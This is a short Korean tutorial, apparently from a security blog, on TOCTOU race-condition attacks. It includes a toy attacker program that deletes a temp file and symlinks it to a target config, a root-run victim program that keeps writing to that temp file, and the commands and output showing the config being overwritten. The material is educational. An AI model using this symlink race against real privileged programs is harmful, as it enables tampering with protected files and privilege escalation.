TOCTOU(Time-of-check Time-of-use) Race Condition
간만에 내용 정리할겸 Race Condition Attack에 대해 작성해볼까 합니다. 일단 Race Condition 기법은 이름 그대로 “경쟁조건” 을 의미하는 공격이고 취약한 프로그램이 사용하는 부분을 동일하게 점유하여 경쟁하고 반복적인 요청 중 공격프로그램이 이길 시 공격자가 원하는 흐름으로 프로그램의 로직을 바꿀수가 있습니다.
물론 전통적인 system hacking 기법 중 하나이고, 웹이나 앱 어디에서도 유사한 형태로 쓰일 수 있습니다.
이 중 TOCTOU(Time-of-check Time-of-use)를 활용한 Race condition 공격에 대한 이야기를 할까 합니다. TOCTOU는 아주 오래된 기법입니다. 어디서 주워듣기론 1980년대 이 이름을 붙이 공격이 탄생하였고, 많이 나타나진 않지만 전통적인 공격 기법입니다.
ToCToU Attack
Race Condition을 활용한 공격 중 TOCTOU 공격이 있습니다. File Access Race Condition으로도 불리며 Race Condition 예제 중 많이 보이는 내용이기도 합니다. 공격에 대한 기본 원리는 아래와 같습니다.
Program이 데이터를 확인하고, 사용하는 그 시간에 공격자의 코드가 개입하여 흐름을 바꾼다.
대체로 Race Condition과 함께 Symbolic Link를 거는 형태의 자료들이 많이 있습니다. 권한이 있는 프로그램이 사용중이 파일이나 메모리에 다른 프로그램(공격자)가 간섭해서 데이터를 오염시키거나, 변조할 수 있습니다.
Race Condition
Race Condition을 통해 TOCTOU를 알아봅시다.
Attacker
- attack.c -> ./attack
- perm: user
Attack.c
#include <stdio.h>
void main() {
system("rm ./tmp");
symlink("./target/config","tmp");
}
공격자는 tmp 파일을 지우고, 공격자가 만든 파일과 tmp를 심볼릭 링크겁니다.
Victim
- vuln.c -> ./vuln
- perm: root
#include <stdio.h>
#include <stdlib.h>
FILE *fp;
char str[]="life log.[system]";
int i=1;
void main() {
while(i) {
fp = fopen("tmp","wb++");
fwrite(str,1,sizeof(str),fp);
printf("Write Tmp File :: %d\n",i);
fclose(fp);
sleep(1);
i+=1;
}
}
피해자는 tmp 파일에 []str 내 값을 write 합니다.
Attack
- vuln 프로그램을 실행하면 tmp 파일에는 계속 str[] 의 데이터를 쓰고 있는 상태가 됩니다.
- 이후 attack 프로그램이 실행되면 tmp 파일은 공격자가 의도한 파일로 바뀌게 됩니다.
- vulm 프로그램은 공격자가 의도한 파일에 값을 쓰게됩니다.
./vuln&
./attack
cat target/config
life log.[system]